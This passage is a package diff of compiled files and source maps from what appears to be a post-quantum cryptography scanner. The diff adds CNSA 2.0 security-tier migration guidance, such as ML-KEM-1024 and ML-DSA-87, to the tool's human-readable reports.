QAAQ;QACtB,SAAS,KAAK,MAAM;QACpB,SAAS,KAAK,OAAO,CACtB,CAAC;AACJ,CAAC;AAED,qFAAqF;AACrF,MAAM,UAAU,iBAAiB,CAAC,SAA0B;IAC1D,OAAO,CACL,SAAS,KAAK,KAAK,IAAI,SAAS,KAAK,OAAO,IAAI,SAAS,KAAK,OAAO,IAAI,SAAS,KAAK,KAAK,CAC7F,CAAC;AACJ,CAAC;AAcD,+CAA+C;AAC/C,MAAM,CAAC,MAAM,WAAW,GAA2E;IACjG,YAAY,EAAE;QACZ,GAAG,EAAE,uBAAuB;QAC5B,SAAS,EAAE,sBAAsB;QACjC,IAAI,EAAE,uDAAuD;KAC9D;IACD,YAAY,EAAE;QACZ,GAAG,EAAE,wBAAwB;QAC7B,SAAS,EAAE,sBAAsB;QACjC,IAAI,EAAE,yGAAyG;KAChH;CACF,CAAC;AAEF;;;;;GAKG;AACH,MAAM,UAAU,kBAAkB,CAChC,SAA0B,EAC1B,OAAqB,YAAY;IAEjC,MAAM,IAAI,GAAG,YAAY,CAAC,SAAS,CAAC,CAAC;IACrC,MAAM,MAAM,GAAG,WAAW,CAAC,IAAI,CAAC,CAAC;IACjC,8EAA8E;IAC9E,MAAM,MAAM,GAAG,uBAAuB,CAAC,SAAS,CAAC,CAAC;IAClD,MAAM,OAAO,GAAG,MAAM,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,CAAC,CAAC,MAAM,CAAC,SAAS,CAAC;IAEvD,6EAA6E;IAC7E,0EAA0E;IAC1E,8EAA8E;IAC9E,0EAA0E;IAC1E,IAAI,IAAI,KAAK,YAAY,EAAE,CAAC;QAC1B,MAAM,UAAU,GAAG,MAAM;YACvB,CAAC,CAAC,kKAAkK;YACpK,CAAC,CAAC,EAAE,CAAC;QACP,OAAO;YACL,SAAS;YACT,cAAc,EAAE,GAAG,OAAO,4DAA4D;YACtF,MAAM,EAAE,GAAG,IAAI,CAAC,MAAM,IAAI,MAAM,CAAC,IAAI,iDAAiD,MAAM,CAAC,GAAG,cAAc,MAAM,CAAC,SAAS,iBAAiB,UAAU,EAAE;SAC5J,CAAC;IACJ,CAAC;IAED,OAAO;QACL,SAAS;QACT,cAAc,EAAE,GAAG,IAAI,CAAC,cAAc,MAAM,IAAI,KAAK,OAAO,EAAE;QAC9D,MAAM,EAAE,GAAG,IAAI,CAAC,MAAM,IAAI,MAAM,CAAC,IAAI,sBAAsB,MAAM,CAAC,GAAG,cAAc,MAAM,CAAC,SAAS,gBAAgB;KACpH,CAAC;AACJ,CAAC;AAED;;;;;;GAMG;AACH,MAAM,CAAC,MAAM,iBAAiB,GAC5B,yEAAyE;IACzE,2EAA2E;IAC3E,2EAA2E;IAC3E,6EAA6E;IAC7E,mCAAmC,CAAC;AAEtC;;;GAGG;AACH,MAAM,CAAC,MAAM,mBAAmB,GAC9B,+EAA+E;IAC/E,iFAAiF;IACjF,2EAA2E;IAC3E,+EAA+E;IAC/E,+EAA+E;IAC/E,gEAAgE,CAAC;AAEnE,oFAAoF;AACpF,MAAM,UAAU,kBAAkB,CAAC,SAA0B;IAC3D,+DAA+D;IAC/D,OAAO,iBAAiB,CAAC,SAAS,CAAC,CAAC;AACtC,CAAC","sourcesContent":["/**\n * Post-quantum remediation guidance for each classical asymmetric algorithm\n * family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM\n * (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid\n * key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking\n * standards to track are captured in {@link PQC_TRANSITION_NOTE}.\n */\nimport type { AlgorithmFamily, Remediation } from \"./types.js\";\n\n/** Canonical remediation table, keyed by algorithm family. */\nconst REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {\n  RSA: {\n    algorithm: \"RSA\",\n    recommendation: \"ML-KEM-768 for encryption/KEM; ML-DSA-65 for signatures\",\n    detail:\n      \"RSA is broken by Shor's algorithm. For key transport / encryption move to \" +\n      \"ML-KEM-768 (FIPS 203), ideally as the hybrid X25519MLKEM768. For digital \" +\n      \"signatures move to ML-DSA-65 (FIPS 204) or SLH-DSA (FIPS 205).\",\n  },\n  ECDH: {\n    algorithm: \"ECDH\",\n    recommendation: \"hybrid X25519MLKEM768 (ML-KEM-768)\",\n    detail:\n      \"Elliptic-curve Diffie-Hellman is broken by Shor's algorithm and is exposed \" +\n      \"to harvest-now-decrypt-later. Adopt the hybrid X25519MLKEM768 key exchange so \" +\n      \"confidentiality survives even if one component is broken.\",\n  },\n  ECDSA: {\n    algorithm: \"ECDSA\",\n    recommendation: \"ML-DSA-65 (FIPS 204)\",\n    detail:\n      \"ECDSA signatures can be forged by a quantum attacker via Shor's algorithm. \" +\n      \"Migrate to ML-DSA (Dilithium, FIPS 204) or SLH-DSA (SPHINCS+, FIPS 205) for \" +\n      \"long-lived signatures.\",\n  },\n  EdDSA: {\n    algorithm: \"EdDSA\",\n    recommendation: \"ML-DSA-65 (FIPS 204)\",\n    detail:\n      \"Ed25519 / Ed448 (EdDSA) are classical signatures broken by Shor's algorithm. \" +\n      \"Replace with ML-DSA-65 (FIPS 204) or SLH-DSA (FIPS 205) for forgery resistance.\",\n  },\n  DH: {\n    algorithm: \"DH\",\n    recommendation: \"hybrid X25519MLKEM768 (ML-KEM-768)\",\n    detail:\n      \"Finite-field Diffie-Hellman is broken by Shor's algorithm and exposed to \" +\n      \"harvest-now-decrypt-later. Move to a hybrid PQC KEM such as X25519MLKEM768.\",\n  },\n  DSA: {\n    algorithm: \"DSA\",\n    recommendation: \"ML-DSA-65 (FIPS 204)\",\n    detail:\n      \"DSA is a classical, quantum-broken signature scheme (and already deprecated). \" +\n      \"Replace with ML-DSA-65 (FIPS 204) or SLH-DSA (FIPS 205).\",\n  },\n  X25519: {\n    algorithm: \"X25519\",\n    recommendation: \"hybrid X25519MLKEM768 (ML-KEM-768)\",\n    detail:\n      \"X25519 is a modern, well-built classical key-agreement primitive but is still \" +\n      \"broken by Shor's algorithm. Wrap it in the hybrid X25519MLKEM768 construction \" +\n      \"so it stays useful during the PQC transition.\",\n  },\n  X448: {\n    algorithm: \"X448\",\n    recommendation: \"hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)\",\n    detail:\n      \"X448 (Goldilocks curve) is a modern classical key-agreement primitive at a \" +\n      \"higher classical security level, but it is still broken by Shor's algorithm. \" +\n      \"To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid \" +\n      \"(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.\",\n  },\n  ECIES: {\n    algorithm: \"ECIES\",\n    recommendation: \"ML-KEM-768 hybrid encryption (X-Wing for HPKE)\",\n    detail:\n      \"ECIES relies on classical ECDH for its key encapsulation and is exposed to \" +\n      \"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in \" +\n      \"a hybrid construction — for HPKE-style application-layer encryption, X-Wing \" +\n      \"(X25519 + ML-KEM-768) is the emerging hybrid KEM target.\",\n  },\n  unknown: {\n    algorithm: \"unknown\",\n    recommendation: \"review for post-quantum migration\",\n    detail:\n      \"This usage involves classical public-key cryptography. Audit it and plan a \" +\n      \"migration to NIST PQC standards (ML-KEM / FIPS 203, ML-DSA / FIPS 204).\",\n  },\n};\n\n/** Look up the recommended post-quantum remediation for a classical algorithm. */\nexport function remediationFor(algorithm: AlgorithmFamily): Remediation | undefined {\n  return REMEDIATIONS[algorithm];\n}\n\n/** Convenience: just the short recommendation string for a family (always defined). */\nexport function remediationText(algorithm: AlgorithmFamily): string {\n  return REMEDIATIONS[algorithm].recommendation;\n}\n\n/**\n * True when a family's PQC replacement is a KEM — i.e. it's used for\n * confidentiality / key-agreement (and is therefore harvest-now-decrypt-later\n * exposed). RSA is in both this set and {@link isSignatureFamily}. Single\n * source of truth for the family→target taxonomy used by tier guidance and the\n * multi-family remediation composer.\n */\nexport function isConfidentialityFamily(algorithm: AlgorithmFamily): boolean {\n  return (\n    algorithm === \"RSA\" ||\n    algorithm === \"ECDH\" ||\n    algorithm === \"DH\" ||\n    algorithm === \"X25519\" ||\n    algorithm === \"X448\" ||\n    algorithm === \"ECIES\"\n  );\n}\n\n/** True when a family's PQC replacement is a signature scheme (ML-DSA / SLH-DSA). */\nexport function isSignatureFamily(algorithm: AlgorithmFamily): boolean {\n  return (\n    algorithm === \"RSA\" || algorithm === \"ECDSA\" || algorithm === \"EdDSA\" || algorithm === \"DSA\"\n  );\n}\n\n/* -------------------------------------------------------------------------- */\n/* Security-tier guidance (CNSA 2.0 Category 5) + stateful HBS (SP 800-208)     */\n/* -------------------------------------------------------------------------- */\n\n/**\n * Security tier for remediation guidance.\n *  - `\"category-3\"` (default): commercial use — ML-KEM-768 / ML-DSA-65.\n *  - `\"category-5\"`: CNSA 2.0 national-security-systems / long-lived secrets —\n *    ML-KEM-1024 / ML-DSA-87.\n */\nexport type SecurityTier = \"category-3\" | \"category-5\";\n\n/** Per-tier KEM / signature parameter sets. */\nexport const TIER_PARAMS: Record<SecurityTier, { kem: string; signature: string; note: string }> = {\n  \"category-3\": {\n    kem: \"ML-KEM-768 (FIPS 203)\",\n    signature: \"ML-DSA-65 (FIPS 204)\",\n    note: \"NIST Category 3 — default for general commercial use.\",\n  },\n  \"category-5\": {\n    kem: \"ML-KEM-1024 (FIPS 203)\",\n    signature: \"ML-DSA-87 (FIPS 204)\",\n    note: \"NIST Category 5 — CNSA 2.0 for national-security systems and long-lived secrets (2030/2033 milestones).\",\n  },\n};\n\n/**\n * Tier-aware remediation. Returns the base family remediation plus the\n * parameter sets for the requested CNSA tier. Category 5 surfaces the\n * ML-KEM-1024 / ML-DSA-87 sets mandated by CNSA 2.0; category 3 is the\n * commercial default.\n */\nexport function remediationForTier(\n  algorithm: AlgorithmFamily,\n  tier: SecurityTier = \"category-3\",\n): Remediation {\n  const base = REMEDIATIONS[algorithm];\n  const params = TIER_PARAMS[tier];\n  // Confidentiality families lean on the KEM; signature families on the signer.\n  const isConf = isConfidentialityFamily(algorithm);\n  const primary = isConf ? params.kem : params.signature;\n\n  // Category-5 (CNSA 2.0 / NSS) mandates the ML-KEM-1024 / ML-DSA-87 parameter\n  // sets and must NOT surface the category-3 X25519MLKEM768 hybrid (its PQC\n  // component is ML-KEM-768 — sub-CNSA). Lead with the mandated set; only point\n  // at a hybrid TLS group at the 1024 level (audit: quantum #1, crypto S5).\n  if (tier === \"category-5\") {\n    const hybridNote = isConf\n      ? \" If a hybrid TLS group is required, use SecP384r1MLKEM1024 (draft-ietf-tls-ecdhe-mlkem) — not X25519MLKEM768, whose ML-KEM-768 component does not meet CNSA 2.0.\"\n      : \"\";\n    return {\n      algorithm,\n      recommendation: `${primary} — CNSA 2.0 mandates this parameter set (hybrids optional)`,\n      detail: `${base.detail} ${params.note} For CNSA 2.0 / national-security systems use ${params.kem} (KEM) and ${params.signature} (signatures).${hybridNote}`,\n    };\n  }\n\n  return {\n    algorithm,\n    recommendation: `${base.recommendation} — ${tier}: ${primary}`,\n    detail: `${base.detail} ${params.note} For this tier use ${params.kem} (KEM) and ${params.signature} (signatures).`,\n  };\n}\n\n/**\n * Guidance for stateful hash-based signatures (SP 800-208: LMS / XMSS / HSS).\n * These are NIST-approved for firmware / boot signing but are STATEFUL — each\n * private key may sign a bounded number of messages and the state MUST be\n * managed to avoid catastrophic key reuse. Surfaced where a long-lived,\n * low-volume signing root is appropriate.\n */\nexport const STATEFUL_HBS_NOTE =\n  \"For firmware / secure-boot signing, the stateful hash-based signatures \" +\n  \"LMS, XMSS and HSS (NIST SP 800-208) are approved alternatives to ML-DSA, \" +\n  \"but they are STATEFUL: the signer must never reuse a one-time key index. \" +\n  \"Use only with rigorous state management; otherwise prefer stateless ML-DSA \" +\n  \"(FIPS 204) or SLH-DSA (FIPS 205).\";\n\n/**\n * Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205\n * targets. Surfaced for operators planning multi-year migrations.\n */\nexport const PQC_TRANSITION_NOTE =\n  \"Migration urgency: NIST IR 8547 deprecates classical public-key crypto after \" +\n  \"2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data \" +\n  \"must move sooner. Standards to track: HQC (NIST's code-based backup KEM, \" +\n  \"selected March 2025; draft FIPS expected ~2026) as a diversity hedge against \" +\n  \"ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and \" +\n  \"X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.\";\n\n/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */\nexport function statefulHbsApplies(algorithm: AlgorithmFamily): boolean {\n  // Signature families only — LMS/XMSS are signatures, not KEMs.\n  return isSignatureFamily(algorithm);\n}\n"]}

package/dist/report.d.ts

@@ -4,6 +4,7 @@
  * is emitted with raw escape codes and is off by default.
  */
 import type { RuleMeta, ScanResult } from "./types.js";
+import type { SecurityTier } from "./remediation.js";
 /** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
 export interface SarifLog {
     $schema: string;
@@ -38,5 +39,13 @@ export declare function toJson(result: ScanResult, opts?: ReportOptions): Record
  */
 export declare function formatSummary(result: ScanResult, options?: {
     color?: boolean;
+    tier?: SecurityTier;
 }): string;
+/**
+ * Per-family migration targets for a CNSA security tier — surfaces the otherwise
+ * library-only {@link remediationForTier} in human reports. Category 5 shows the
+ * ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
+ * long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
+ */
+export declare function formatTierGuidance(byAlgorithm: Record<string, number>, tier: SecurityTier): string[];
 //# sourceMappingURL=report.d.ts.map

package/dist/report.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"report.d.ts","sourceRoot":"","sources":["../src/report.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,KAAK,EAAW,QAAQ,EAAE,UAAU,EAAY,MAAM,YAAY,CAAC;AAK1E,kEAAkE;AAClE,MAAM,WAAW,QAAQ;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,EAAE,OAAO,CAAC;IACjB,IAAI,EAAE,OAAO,EAAE,CAAC;CACjB;AAED,qFAAqF;AACrF,MAAM,WAAW,aAAa;IAC5B;;;;;OAKG;IACH,cAAc,CAAC,EAAE,OAAO,CAAC;IACzB;;;;;;OAMG;IACH,OAAO,CAAC,EAAE,QAAQ,EAAE,CAAC;CACtB;AAqED,8CAA8C;AAC9C,wBAAgB,OAAO,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,CAAC,EAAE,aAAa,GAAG,QAAQ,CA6H1E;AAkBD,+DAA+D;AAC/D,wBAAgB,MAAM,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,CAAC,EAAE,aAAa,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAqCxF;AAwCD;;;GAGG;AACH,wBAAgB,aAAa,CAAC,MAAM,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE;IAAE,KAAK,CAAC,EAAE,OAAO,CAAA;CAAE,GAAG,MAAM,CAqGvF"}
+{"version":3,"file":"report.d.ts","sourceRoot":"","sources":["../src/report.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,KAAK,EAA4B,QAAQ,EAAE,UAAU,EAAY,MAAM,YAAY,CAAC;AAK3F,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAErD,kEAAkE;AAClE,MAAM,WAAW,QAAQ;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,EAAE,OAAO,CAAC;IACjB,IAAI,EAAE,OAAO,EAAE,CAAC;CACjB;AAED,qFAAqF;AACrF,MAAM,WAAW,aAAa;IAC5B;;;;;OAKG;IACH,cAAc,CAAC,EAAE,OAAO,CAAC;IACzB;;;;;;OAMG;IACH,OAAO,CAAC,EAAE,QAAQ,EAAE,CAAC;CACtB;AAqED,8CAA8C;AAC9C,wBAAgB,OAAO,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,CAAC,EAAE,aAAa,GAAG,QAAQ,CA6H1E;AAkBD,+DAA+D;AAC/D,wBAAgB,MAAM,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,CAAC,EAAE,aAAa,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAqCxF;AAwCD;;;GAGG;AACH,wBAAgB,aAAa,CAC3B,MAAM,EAAE,UAAU,EAClB,OAAO,CAAC,EAAE;IAAE,KAAK,CAAC,EAAE,OAAO,CAAC;IAAC,IAAI,CAAC,EAAE,YAAY,CAAA;CAAE,GACjD,MAAM,CAyGR;AAED;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,WAAW,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,EACnC,IAAI,EAAE,YAAY,GACjB,MAAM,EAAE,CAmBV"}

package/dist/report.js

@@ -1,6 +1,7 @@
 import { VERSION } from "./version.js";
 import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
 import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
+import { remediationFor, remediationForTier } from "./remediation.js";
 const SARIF_SCHEMA = "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json";
 const INFORMATION_URI = "https://github.com/quantakrypto/pqc-tools";
 /**
@@ -329,6 +330,36 @@ export function formatSummary(result, options) {
             "encrypted traffic captured today can be decrypted once a quantum computer exists. " +
             "Prioritise migrating key exchange / encryption to hybrid PQC (X25519MLKEM768)."));
     }
+    if (options?.tier) {
+        lines.push("", ...formatTierGuidance(inv.byAlgorithm, options.tier));
+    }
     return lines.join("\n");
 }
+/**
+ * Per-family migration targets for a CNSA security tier — surfaces the otherwise
+ * library-only {@link remediationForTier} in human reports. Category 5 shows the
+ * ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
+ * long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
+ */
+export function formatTierGuidance(byAlgorithm, tier) {
+    const label = tier === "category-5" ? "CNSA 2.0 (Category 5)" : "Category 3 (commercial)";
+    const out = [`${label} migration targets:`];
+    const seen = new Set();
+    for (const [k, n] of Object.entries(byAlgorithm)) {
+        if (n <= 0)
+            continue;
+        const fam = k;
+        if (fam === "unknown" || !remediationFor(fam))
+            continue; // skip unmapped families
+        const rem = remediationForTier(fam, tier);
+        if (seen.has(rem.recommendation))
+            continue;
+        seen.add(rem.recommendation);
+        out.push(`  ${fam} → ${rem.recommendation}`);
+    }
+    if (tier === "category-5") {
+        out.push("  CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).");
+    }
+    return out;
+}
 //# sourceMappingURL=report.js.map

package/dist/report.js.map

@@ -1 +1 @@
-{"version":3,"file":"report.js","sourceRoot":"","sources":["../src/report.ts"],"names":[],"mappings":"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